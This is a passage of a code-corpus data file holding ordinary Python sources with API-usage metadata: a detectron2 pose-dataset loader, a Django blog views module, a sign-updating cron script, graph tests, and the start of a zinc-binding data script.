"call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.violinplot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "117087520", "text": "# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved\nimport io\nimport logging\nimport contextlib\nimport os\nimport cv2\nimport numpy as np\n\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\n\nfrom fvcore.common.timer import Timer\nfrom detectron2.structures import BoxMode\nfrom fvcore.common.file_io import PathManager\n\nlogger = logging.getLogger(__name__)\n\n# fmt: off\nSIXDPOSE_KEYPOINT_NAMES = (\n \"center\",\n # bb8\n \"bb8_0\", \"bb8_1\",\n \"bb8_2\", \"bb8_3\",\n \"bb8_4\", \"bb8_5\",\n \"bb8_6\", \"bb8_7\",\n # fps8\n # \"fps8_0\", \"fps8_1\",\n # \"fps8_2\", \"fps8_3\",\n # \"fps8_4\", \"fps8_5\",\n # \"fps8_6\", \"fps8_7\",\n)\n# fmt: on\n\n# Pairs of keypoints that should be exchanged under horizontal flipping\n# SIXDPOSE_KEYPOINT_FLIP_MAP = (\n# # (\"left_eye\", \"right_eye\"),\n# # (\"left_ear\", \"right_ear\"),\n# # (\"left_shoulder\", \"right_shoulder\"),\n# # (\"left_elbow\", \"right_elbow\"),\n# # (\"left_wrist\", \"right_wrist\"),\n# # (\"left_hip\", \"right_hip\"),\n# # (\"left_knee\", \"right_knee\"),\n# # (\"left_ankle\", \"right_ankle\"),\n# )\n\n# rules for pairs of keypoints to draw a line between, and the line color to use.\nBB8_KEYPOINT_CONNECTION_RULES = [\n # bb8\n (\"bb8_0\", \"bb8_1\", (102, 204, 255)),\n (\"bb8_1\", \"bb8_2\", (102, 204, 255)),\n (\"bb8_2\", \"bb8_3\", (102, 204, 255)),\n (\"bb8_3\", \"bb8_0\", (102, 204, 255)),\n (\"bb8_4\", \"bb8_5\", (51, 153, 255)),\n (\"bb8_5\", \"bb8_6\", (51, 153, 255)),\n (\"bb8_6\", \"bb8_7\", (51, 153, 255)),\n (\"bb8_7\", \"bb8_4\", (51, 153, 255)),\n (\"bb8_0\", \"bb8_4\", (102, 0, 204)),\n (\"bb8_1\", \"bb8_5\", (102, 0, 204)),\n (\"bb8_2\", \"bb8_6\", (102, 0, 204)),\n (\"bb8_3\", \"bb8_7\", (102, 0, 204)),\n]\n\nFPS8_KEYPOINT_CONNECTION_RULES = [\n # fps8\n (\"center\", \"fps8_0\", (255, 128, 0)),\n (\"center\", \"fps8_1\", (153, 255, 204)),\n (\"center\", \"fps8_2\", (128, 229, 255)),\n (\"center\", \"fps8_3\", (153, 255, 153)),\n (\"center\", \"fps8_4\", (102, 255, 224)),\n (\"center\", \"fps8_5\", (255, 102, 0)),\n (\"center\", \"fps8_6\", (255, 255, 77)),\n (\"center\", \"fps8_7\", (153, 255, 204)),\n]\n\ndef get_sixdpose_metadata():\n meta = {\n \"keypoint_names\": SIXDPOSE_KEYPOINT_NAMES,\n # \"keypoint_flip_map\": SIXDPOSE_KEYPOINT_FLIP_MAP,\n \"keypoint_connection_rules\": BB8_KEYPOINT_CONNECTION_RULES,\n }\n return meta\n\ndef load_occlusion_json(json_file, image_root, dataset_name=None, extra_annotation_keys=None):\n \"\"\"\n Load a json file with COCO's instances annotation format.\n Currently supports instance detection, instance segmentation,\n and person keypoints annotations.\n\n Args:\n json_file (str): full path to the json file in COCO instances annotation format.\n image_root (str): the directory where the images in this json file exists.\n dataset_name (str): the name of the dataset (e.g., coco_2017_train).\n If provided, this function will also put \"thing_classes\" into\n the metadata associated with this dataset.\n extra_annotation_keys (list[str]): list of per-annotation keys that should also be\n loaded into the dataset dict (besides \"iscrowd\", \"bbox\", \"keypoints\",\n \"category_id\", \"segmentation\"). The values for these keys will be returned as-is.\n For example, the densepose annotations are loaded in this way.\n\n Returns:\n list[dict]: a list of dicts in Detectron2 standard format. (See\n `Using Custom Datasets `_ )\n\n Notes:\n 1. This function does not read the image files.\n The results do not have the \"image\" field.\n \"\"\"\n from pycocotools.coco import COCO\n import pycocotools.mask as mask_util\n\n timer = Timer()\n json_file = PathManager.get_local_path(json_file)\n with contextlib.redirect_stdout(io.StringIO()):\n coco_api = COCO(json_file)\n if timer.seconds() > 1:\n logger.info(\"Loading {} takes {:.2f} seconds.\".format(json_file, timer.seconds()))\n\n id_map = None\n if dataset_name is not None:\n meta = MetadataCatalog.get(dataset_name)\n cat_ids = sorted(coco_api.getCatIds())\n cats = coco_api.loadCats(cat_ids)\n # The categories in a custom json file may not be sorted.\n thing_classes = [c[\"name\"] for c in sorted(cats, key=lambda x: x[\"id\"])]\n meta.thing_classes = thing_classes\n\n # In COCO, certain category ids are artificially removed,\n # and by convention they are always ignored.\n # We deal with COCO's id issue and translate\n # the category ids to contiguous ids in [0, 80).\n\n # It works by looking at the \"categories\" field in the json, therefore\n # if users' own json also have incontiguous ids, we'll\n # apply this mapping as well but print a warning.\n if not (min(cat_ids) == 1 and max(cat_ids) == len(cat_ids)):\n if \"coco\" not in dataset_name:\n logger.warning(\n \"\"\"\n Category ids in annotations are not in [1, #categories]! We'll apply a mapping for you.\n \"\"\"\n )\n id_map = {v: i for i, v in enumerate(cat_ids)}\n meta.thing_dataset_id_to_contiguous_id = id_map\n print(meta)\n\n # sort indices for reproducible results\n img_ids = sorted(list(coco_api.imgs.keys()))\n # imgs is a list of dicts, each looks something like:\n # {'license': 4,\n # 'url': 'http://farm6.staticflickr.com/5454/9413846304_881d5e5c3b_z.jpg',\n # 'file_name': 'COCO_val2014_000000001268.jpg',\n # 'height': 427,\n # 'width': 640,\n # 'date_captured': '2013-11-17 05:57:24',\n # 'id': 1268}\n # imgs = coco_api.loadImgs(img_ids)\n # print(imgs[0])\n # anns is a list[list[dict]], where each dict is an annotation\n # record for an object. The inner list enumerates the objects in an image\n # and the outer list enumerates over images. Example of anns[0]:\n # [{'segmentation': [[192.81,\n # 247.09,\n # ...\n # 219.03,\n # 249.06]],\n # 'area': 1035.749,\n # 'iscrowd': 0,\n # 'image_id': 1268,\n # 'bbox': [192.81, 224.8, 74.73, 33.43],\n # 'category_id': 16,\n # 'id': 42986},\n # ...]\n # anns = [coco_api.imgToAnns[img_id] for img_id in img_ids]\n keep_idx = []\n anns = []\n for img_id in img_ids:\n ann = coco_api.imgToAnns[img_id]\n if len(ann) > 0:\n anns.append(ann)\n keep_idx.append(img_id)\n imgs = coco_api.loadImgs(keep_idx)\n\n\n if \"minival\" not in json_file:\n # The popular valminusminival & minival annotations for COCO2014 contain this bug.\n # However the ratio of buggy annotations there is tiny and does not affect accuracy.\n # Therefore we explicitly white-list them.\n ann_ids = [ann[\"id\"] for anns_per_image in anns for ann in anns_per_image]\n assert len(set(ann_ids)) == len(ann_ids), \"Annotation ids in '{}' are not unique!\".format(\n json_file\n )\n\n imgs_anns = list(zip(imgs, anns))\n\n logger.info(\"Loaded {} images in COCO format from {}\".format(len(imgs_anns), json_file))\n print(\"Loaded {} images in COCO format from {}\".format(len(imgs_anns), json_file))\n\n dataset_dicts = []\n\n ann_keys = [\"bbox\", \"category_id\"] + (extra_annotation_keys or [])\n\n num_instances_without_valid_segmentation = 0\n\n for (img_dict, anno_dict_list) in imgs_anns:\n record = {}\n record[\"file_name\"] = os.path.join(image_root, img_dict[\"file_name\"])\n record[\"height\"] = img_dict[\"height\"]\n record[\"width\"] = img_dict[\"width\"]\n image_id = record[\"image_id\"] = img_dict[\"id\"]\n record[\"sem_seg_file_name\"] = os.path.join(image_root, img_dict[\"seg_map\"])\n\n objs = []\n for anno in anno_dict_list:\n # Check that the image_id in this annotation is the same as\n # the image_id we're looking at.\n # This fails only when the data parsing logic or the annotation file is buggy.\n\n # The original COCO valminusminival2014 & minival2014 annotation files\n # actually contains bugs that, together with certain ways of using COCO API,\n # can trigger this assertion.\n assert anno[\"image_id\"] == image_id\n\n assert anno.get(\"ignore\", 0) == 0\n\n obj = {key: anno[key] for key in ann_keys if key in anno}\n\n segm = anno.get(\"segmentation\", None)\n if segm:\n if isinstance(segm, str): # path\n mask_path = os.path.join(image_root, segm) # binary mask\n if not os.path.exists(mask_path):\n num_instances_without_valid_segmentation += 1\n continue\n segm = cv2.imread(mask_path, 0)\n # cv2.imshow('1', segm)\n # cv2.waitKey(0)\n segm = np.asfortranarray(segm)\n segm = mask_util.encode(segm)\n # print(segm)\n obj[\"segmentation\"] = segm\n\n segm_occagn = anno.get(\"segmentation_occagn\", None)\n if segm_occagn:\n if isinstance(segm_occagn, str):\n mask_occagn_path = os.path.join(image_root, segm_occagn) # binary mask\n if not os.path.exists(mask_occagn_path):\n continue\n # segm_occagn = cv2.imread(mask_occagn_path)\n # # cv2.imshow('1', segm_occagn)\n # # cv2.waitKey(0)\n # segm_occagn = np.asfortranarray(segm_occagn)\n # segm_occagn = mask_util.encode(segm_occagn)\n obj[\"segmentation_occagn\"] = segm_occagn\n\n # USER: we only load center here, load other kpts in DatasetMapper\n keypts = anno.get(\"center_2d\", None)\n if keypts:\n keypts.append(2)\n obj[\"keypoints\"] = keypts\n # if keypts: # list[list[float]]\n # keypts = np.array(keypts)\n # keypts = np.insert(keypts, 2, 2, axis=1).flatten().tolist()\n # obj[\"keypoints\"] = keypts\n\n obj[\"bbox_mode\"] = BoxMode.XYWH_ABS\n if id_map:\n obj[\"category_id\"] = id_map[obj[\"category_id\"]]\n objs.append(obj)\n record[\"annotations\"] = objs\n dataset_dicts.append(record)\n\n if num_instances_without_valid_segmentation > 0:\n logger.warning(\n \"Filtered out {} instances without valid segmentation. \"\n \"There might be issues in your dataset generation process.\".format(\n num_instances_without_valid_segmentation\n )\n )\n return dataset_dicts\n\n\nSPLITS = {\n # occlusion dataset of all 8 objects\n \"occlusion_train\": (\"occlusion\", \"occlusion/occlusion_train.json\"),\n \"occlusion_val\": (\"occlusion\", \"occlusion/occlusion_val.json\"),\n # occlusion dataset of single object\n \"occlusion_ape_train\": (\"occlusion\", \"occlusion/occlusion_ape_train.json\"),\n \"occlusion_ape_val\": (\"occlusion\", \"occlusion/occlusion_ape_val.json\"),\n \"occlusion_can_train\": (\"occlusion\", \"occlusion/occlusion_can_train.json\"),\n \"occlusion_can_val\": (\"occlusion\", \"occlusion/occlusion_can_val.json\"),\n \"occlusion_cat_train\": (\"occlusion\", \"occlusion/occlusion_cat_train.json\"),\n \"occlusion_cat_val\": (\"occlusion\", \"occlusion/occlusion_cat_val.json\"),\n \"occlusion_driller_train\": (\"occlusion\", \"occlusion/occlusion_driller_train.json\"),\n \"occlusion_driller_val\": (\"occlusion\", \"occlusion/occlusion_driller_val.json\"),\n \"occlusion_duck_train\": (\"occlusion\", \"occlusion/occlusion_duck_train.json\"),\n \"occlusion_duck_val\": (\"occlusion\", \"occlusion/occlusion_duck_val.json\"),\n \"occlusion_eggbox_train\": (\"occlusion\", \"occlusion/occlusion_eggbox_train.json\"),\n \"occlusion_eggbox_val\": (\"occlusion\", \"occlusion/occlusion_eggbox_val.json\"),\n \"occlusion_glue_train\": (\"occlusion\", \"occlusion/occlusion_glue_train.json\"),\n \"occlusion_glue_val\": (\"occlusion\", \"occlusion/occlusion_glue_val.json\"),\n \"occlusion_holepuncher_train\": (\"occlusion\", \"occlusion/occlusion_holepuncher_train.json\"),\n \"occlusion_pbr_holepuncher_train\": (\"occlusion_pbr\", \"occlusion_pbr/occlusion_pbr_holepuncher_train.json\"),\n \"occlusion_holepuncher_val\": (\"occlusion\", \"occlusion/occlusion_holepuncher_val.json\"),\n # linemod datasets\n \"linemod_ape_train\": (\"linemod/ape\", \"linemod/ape/linemod_ape_train.json\"),\n \"linemod_ape_val\": (\"linemod/ape\", \"linemod/ape/linemod_ape_val.json\"),\n \"linemod_benchvise_train\": (\"linemod/benchvise\", \"linemod/benchvise/linemod_benchvise_train.json\"),\n \"linemod_benchvise_val\": (\"linemod/benchvise\", \"linemod/benchvise/linemod_benchvise_val.json\"),\n \"linemod_cam_train\": (\"linemod/cam\", \"linemod/cam/linemod_cam_train.json\"),\n \"linemod_cam_val\": (\"linemod/cam\", \"linemod/cam/linemod_cam_val.json\"),\n \"linemod_can_train\": (\"linemod/can\", \"linemod/can/linemod_can_train.json\"),\n \"linemod_can_val\": (\"linemod/can\", \"linemod/can/linemod_can_val.json\"),\n \"linemod_cat_train\": (\"linemod/cat\", \"linemod/cat/linemod_cat_train.json\"),\n \"linemod_cat_val\": (\"linemod/cat\", \"linemod/cat/linemod_cat_val.json\"),\n \"linemod_driller_train\": (\"linemod/driller\", \"linemod/driller/linemod_driller_train.json\"),\n \"linemod_driller_val\": (\"linemod/driller\", \"linemod/driller/linemod_driller_val.json\"),\n \"linemod_duck_train\": (\"linemod/duck\", \"linemod/duck/linemod_duck_train.json\"),\n \"linemod_duck_val\": (\"linemod/duck\", \"linemod/duck/linemod_duck_val.json\"),\n \"linemod_eggbox_train\": (\"linemod/eggbox\", \"linemod/eggbox/linemod_eggbox_train.json\"),\n \"linemod_eggbox_val\": (\"linemod/eggbox\", \"linemod/eggbox/linemod_eggbox_val.json\"),\n \"linemod_glue_train\": (\"linemod/glue\", \"linemod/glue/linemod_glue_train.json\"),\n \"linemod_glue_val\": (\"linemod/glue\", \"linemod/glue/linemod_glue_val.json\"),\n \"linemod_holepuncher_train\": (\"linemod/holepuncher\", \"linemod/holepuncher/linemod_holepuncher_train.json\"),\n \"linemod_holepuncher_val\": (\"linemod/holepuncher\", \"linemod/holepuncher/linemod_holepuncher_val.json\"),\n \"linemod_iron_train\": (\"linemod/iron\", \"linemod/iron/linemod_iron_train.json\"),\n \"linemod_iron_val\": (\"linemod/iron\", \"linemod/iron/linemod_iron_val.json\"),\n \"linemod_lamp_train\": (\"linemod/lamp\", \"linemod/lamp/linemod_lamp_train.json\"),\n \"linemod_lamp_val\": (\"linemod/lamp\", \"linemod/lamp/linemod_lamp_val.json\"),\n \"linemod_phone_train\": (\"linemod/phone\", \"linemod/phone/linemod_phone_train.json\"),\n \"linemod_phone_val\": (\"linemod/phone\", \"linemod/phone/linemod_phone_val.json\"),\n # tless datasets TODO\n \"tless_toy_05_train\": (\"tless_toy/obj_05\", \"tless_toy/obj_05/train_obj_05.json\"),\n \"tless_toy_05_val\": (\"tless_toy/obj_05\", \"tless_toy/obj_05/train_obj_05.json\"),\n \"tless_pbr_05_train\": (\"tless_pbr\", \"tless_pbr/train_obj_05.json\"),\n \"tless_05_train\": (\"tless/obj_05\", \"tless/obj_05/train_obj_05.json\"),\n \"tless_05_val\": (\"tless_test\", \"tless_test/val_obj_05.json\"),\n # toy dataset\n \"toy_01_train\": (\"toy/cube\", \"toy/cube/train_cube.json\"),\n \"toy_01_val\": (\"toy/cube\", \"toy/cube/val_cube.json\"),\n \"toy_02_train\": (\"toy/cup\", \"toy/cup/train_cup.json\"),\n \"toy_02_val\": (\"toy/cup\", \"toy/cup/val_cup.json\"),\n \"toy_03_train\": (\"toy/cylinder\", \"toy/cylinder/train_cylinder.json\"),\n \"toy_03_val\": (\"toy/cylinder\", \"toy/cylinder/val_cylinder.json\"),\n}\n\nSIXDPOSE_KEYS = [\"corner_3d\", \"corner_2d\", \"center_3d\", \"center_2d\", \"fps_3d\", \"fps_2d\",\n \"K\", \"pose\"]\n\nfor key, (image_root, json_file) in SPLITS.items():\n # Assume pre-defined datasets live in `./datasets`.\n json_file = os.path.join(\"datasets\", json_file)\n image_root = os.path.join(\"datasets\", image_root)\n meta = get_sixdpose_metadata()\n\n DatasetCatalog.register(\n key,\n lambda key=key, json_file=json_file, image_root=image_root: load_occlusion_json(\n json_file, image_root, key, extra_annotation_keys=SIXDPOSE_KEYS\n ),\n )\n\n MetadataCatalog.get(key).set(\n json_file=json_file, image_root=image_root, **meta\n )\n\nif __name__ == \"__main__\":\n # test load occlusion json\n data_dict = load_occlusion_json(json_file='datasets/occlusion/occlusion_train.json', image_root='datasets/occlusion', dataset_name='occlusion_train')\n print(data_dict[0])", "sub_path": "projects/SixDPose/sixdpose/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 16371, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "fvcore.common.timer.Timer", "line_number": 110, "usage_type": "call"}, {"api_name": "fvcore.common.file_io.PathManager.get_local_path", "line_number": 111, "usage_type": "call"}, {"api_name": "fvcore.common.file_io.PathManager", "line_number": 111, "usage_type": "name"}, {"api_name": "contextlib.redirect_stdout", "line_number": 112, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 112, "usage_type": "call"}, {"api_name": "pycocotools.coco.COCO", "line_number": 113, "usage_type": "call"}, {"api_name": "detectron2.data.MetadataCatalog.get", "line_number": 119, "usage_type": "call"}, {"api_name": "detectron2.data.MetadataCatalog", "line_number": 119, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 205, "usage_type": "call"}, {"api_name": "os.path", "line_number": 205, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 229, "usage_type": "call"}, {"api_name": "os.path", "line_number": 229, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path", "line_number": 230, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.asfortranarray", "line_number": 236, "usage_type": "call"}, {"api_name": "pycocotools.mask.encode", "line_number": 237, "usage_type": "call"}, {"api_name": "pycocotools.mask", "line_number": 237, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 244, "usage_type": "call"}, {"api_name": "os.path", "line_number": 244, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 245, "usage_type": "call"}, {"api_name": "os.path", "line_number": 245, "usage_type": "attribute"}, {"api_name": "detectron2.structures.BoxMode.XYWH_ABS", "line_number": 264, "usage_type": "attribute"}, {"api_name": "detectron2.structures.BoxMode", "line_number": 264, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 350, "usage_type": "call"}, {"api_name": "os.path", "line_number": 350, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 351, "usage_type": "call"}, {"api_name": "os.path", "line_number": 351, "usage_type": "attribute"}, {"api_name": "detectron2.data.DatasetCatalog.register", "line_number": 354, "usage_type": "call"}, {"api_name": "detectron2.data.DatasetCatalog", "line_number": 354, "usage_type": "name"}, {"api_name": "detectron2.data.MetadataCatalog.get", "line_number": 361, "usage_type": "call"}, {"api_name": "detectron2.data.MetadataCatalog", "line_number": 361, "usage_type": "name"}]} +{"seq_id": "485790332", "text": "from django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom .models import Post, Tag\nfrom .forms import CommentForm\n\ndef post_index(request):\n posts = Post.objects.filter(status='published')\n paginator = Paginator(posts, 3) # 3 posts in each page\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer deliver the first page\n posts = paginator.page(1)\n except EmptyPage:\n # If page is out of range deliver last page of results\n posts = paginator.page(paginator.num_pages)\n context = {'posts': posts}\n return render(request, 'blog/post_index.html', context)\n\ndef post_detail(request, year, month, day, slug):\n post = get_object_or_404(Post, slug=slug,\n status='published',\n publish__year=year,\n publish__month=month,\n publish__day=day)\n\n\n # List of active comments for this post\n comments = post.comments.filter(active=True)\n\n new_comment = None\n\n if request.method == 'POST':\n if not request.user.is_authenticated:\n return redirect('login')\n\n # A comment was posted\n comment_form = CommentForm(data=request.POST)\n if comment_form.is_valid():\n new_comment = comment_form.save(commit=False)\n new_comment.post = post\n new_comment.user = request.user\n new_comment.save()\n else:\n comment_form = CommentForm()\n \n context = { 'post': post,\n 'comments': comments,\n 'new_comment': new_comment,\n 'comment_form': comment_form,\n }\n\n return render(request, 'blog/post_detail.html', context)\n\ndef tag_detail(request, slug):\n tag = get_object_or_404(Tag, slug=slug)\n context = {'posts': tag.posts.all(), 'tag': tag.name}\n return render(request, 'blog/tag_detail.html', context)\n", "sub_path": "blog/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2121, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "models.Post.objects.filter", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 9, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 10, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 14, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 17, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 24, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 38, "usage_type": "call"}, {"api_name": "forms.CommentForm", "line_number": 41, "usage_type": "call"}, {"api_name": "forms.CommentForm", "line_number": 48, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 56, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Tag", "line_number": 59, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "395006451", "text": "#!/usr/local/bin/python\n\n# This file is run by cron every minute\n# Does a quick HTTP get every 15 seconds, three times\n\nimport urllib\nimport json\nimport sign\nimport time\nimport sys\n\ndef setup_signs(api):\n result = urllib.urlopen(\"http://signs.hackerdojo.com\"+api) \n rawdata = result.read()\n result.close()\n signs = json.loads(rawdata)\n for s in signs:\n msg = s['message']\n lines = msg.split(\"\\r\\n\")\n if len(lines)==2:\n sign.twoLines(s['two_digit_id'], lines[0], lines[1])\n if len(lines)==1:\n sign.oneLine(s['two_digit_id'], lines[0])\n\nif len(sys.argv)==2 and sys.argv[1] == \"all\":\n setup_signs(\"/api/all\")\nelse:\n for i in range(1,3): \n setup_signs(\"/api\")\n time.sleep(15)\n", "sub_path": "cronjob.py", "file_name": "cronjob.py", "file_ext": "py", "file_size_in_byte": 743, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "urllib.urlopen", "line_number": 13, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 16, "usage_type": "call"}, {"api_name": "sign.twoLines", "line_number": 21, "usage_type": "call"}, {"api_name": "sign.oneLine", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 25, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "403453644", "text": "from .node_graph import Vertex, graph\nimport pytest\n\n\n@pytest.fixture()\ndef vertex1():\n tmp = Vertex(\"A\")\n tmp.addNeighbor(\"B\", 5)\n tmp.addNeighbor(\"C\", 3)\n tmp.addNeighbor(\"D\", 10)\n return tmp\n\n\n@pytest.fixture()\ndef small_graph():\n tmp = graph()\n tmp.addVertex(\"A\")\n tmp.addVertex(\"B\")\n tmp.addVertex(\"C\")\n tmp.addVertex(\"D\")\n tmp.addVertex(\"E\")\n tmp.addEdge(\"A\", \"B\", 2)\n tmp.addEdge(\"B\", \"A\", 2)\n tmp.addEdge(\"B\", \"C\", 1)\n tmp.addEdge(\"B\", \"D\", 3)\n tmp.addEdge(\"B\", \"E\", 5)\n tmp.addEdge(\"D\", \"E\", 5)\n return tmp\n\n\ndef test_vertex_import():\n assert Vertex\n\n\ndef test_vertex_print(capsys, vertex1):\n print(vertex1)\n captured = capsys.readouterr()\n assert 'Vertex A is connected to:' in captured.out\n\n\ndef test_breadthfirstsearch1(capsys, small_graph):\n start = small_graph.getVertex(\"B\")\n small_graph.BreadthFirstSearch(start)\n captured = capsys.readouterr()\n # import pdb; pdb.set_trace()\n assert 'B A C D E \\n' in captured.out\n\n\ndef test_breadthfirstsearch2(capsys, small_graph):\n start = small_graph.getVertex(\"A\")\n small_graph.BreadthFirstSearch(start)\n captured = capsys.readouterr()\n # import pdb; pdb.set_trace()\n assert 'A B C D E \\n' in captured.out\n\n\ndef test_breadthfirstsearch3(capsys, small_graph):\n start = small_graph.getVertex(\"D\")\n small_graph.BreadthFirstSearch(start)\n captured = capsys.readouterr()\n # import pdb; pdb.set_trace()\n assert 'D E \\n' in captured.out\n", "sub_path": "data_structures/node_graph/test_node_graph.py", "file_name": "test_node_graph.py", "file_ext": "py", "file_size_in_byte": 1496, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "node_graph.Vertex", "line_number": 7, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 5, "usage_type": "call"}, {"api_name": "node_graph.graph", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 14, "usage_type": "call"}, {"api_name": "node_graph.Vertex", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "522519734", "text": "#! /usr/bin/env python3\n\nimport sys\nsys.path.append(\"../zincbindpredict\")\nimport kirjava\nimport random\nfrom tqdm import tqdm\nfrom common import sequence_site_to_vector\nfrom utilities import *\n\nAPI_URL = \"https://api.zincbind.net/\"\n\nALL_CHAINS_QUERY = \"\"\"{chainClusters { edges { node { id chains(first: 1) {\n edges { node { sequence } }\n} } } } }\"\"\"\n\nFAMILY_CHAINS_QUERY = \"\"\"query familySites($family: String) {\n zincsites(family: $family) { edges { node { \n id chainInteractions { edges { node { sequence } } }\n } } }\n}\"\"\"\n\n# Download all unique chains - these will be used for generating negatives\nclusters = fetch_data(API_URL, ALL_CHAINS_QUERY, {})\nunique_sequences = [cluster[\"chains\"][0][\"sequence\"] for cluster in clusters]\nprint(f\"Using {len(unique_sequences)} unique sequences for negative samples\")\n\n# What families should be used?\nwith open(\"data/families.dat\") as f: families = f.read().splitlines()\nfor arg in sys.argv:\n if arg.startswith(\"--limit=\"):\n families = [f for f in families if f in arg[8:].split(\",\")]\n if arg.startswith(\"--exclude=\"):\n families = [f for f in families if f not in arg[10:].split(\",\")]\n\nfor family in families:\n # Download all binding sites for this family\n print(f\"Fetching {family} data...\")\n family_sites = fetch_data(API_URL, FAMILY_CHAINS_QUERY, {\"family\": family})\n res_count = sum([int(c) for c in family if c.isdigit()])\n \n # Get one sequence for each site, 